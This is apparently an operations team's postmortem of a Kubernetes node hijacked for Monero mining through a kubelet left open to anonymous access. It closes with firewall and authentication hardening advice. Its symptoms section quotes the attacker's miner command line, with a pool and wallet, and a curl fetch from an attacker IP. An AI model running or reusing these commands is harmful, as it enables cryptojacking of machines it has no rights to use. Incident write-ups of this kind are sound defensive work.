Information Security 6 min read

Kubelet Misconfiguration Triggered a Mining Attack – What We Learned

After discovering a compromised node in our self‑built Kubernetes cluster that was being used for Monero mining, we traced the breach to empty iptables rules and a misconfigured kubelet allowing anonymous API access, then outlined firewall hardening, network isolation, and secure kubelet practices to prevent future intrusions.

Efficient Ops
Efficient Ops
Efficient Ops
Kubelet Misconfiguration Triggered a Mining Attack – What We Learned

Invasion Symptoms

We detected an abnormal process on a node.

<code>./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat</code>

In short, the machine was being used for mining.

We immediately stopped Docker, but should have isolated the environment and dumped the mining program for analysis.

Root Cause Investigation

Empty iptables

The node had no iptables rules, leaving it exposed.

Kubelet exposed

Colleagues suspected kubelet compromise; after checking other components we examined kubelet.

Logs showed anomalies.

Improper kubelet configuration

The kubelet parameters allowed direct API access.

We found that the startup file had a commented‑out line disabling anonymous access.

Because the configuration to forbid anonymous access was not read, the node was vulnerable.

Since this was a newly added machine, we quickly identified the issue and reviewed configurations on other nodes to ensure their firewalls were active, preventing similar intrusions.

Improvement Measures

We propose the following strategies:

Set host firewall to deny all ports by default and only open necessary ports after manual verification via tty.

Avoid assigning public IPs to nodes that do not need external exposure; the compromised node was scanned within a day of deployment.

Restrict kubelet and other services to listen only on internal IPs instead of 0.0.0.0.

Implement authentication for kubelet and other services; disable anonymous access and design an auth system if needed.

Adopt standardized operational procedures, preferably using scripts for production changes rather than manual commands, to improve traceability and security.

Conclusion

The intrusion gave the attacker full control over Docker on the compromised node. Although no financial loss occurred, the incident highlights the severity of such breaches and the importance of firewall hardening and limiting unnecessary port exposure.

We urge readers to prioritize network security, start with firewall configuration, and avoid exposing services unnecessarily.

KubernetesfirewallsecuritykubeletMining Attack
Efficient Ops
Written by

Efficient Ops

This public account is maintained by Xiaotianguo and friends, regularly publishing widely-read original technical articles. We focus on operations transformation and accompany you throughout your operations career, growing together happily.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.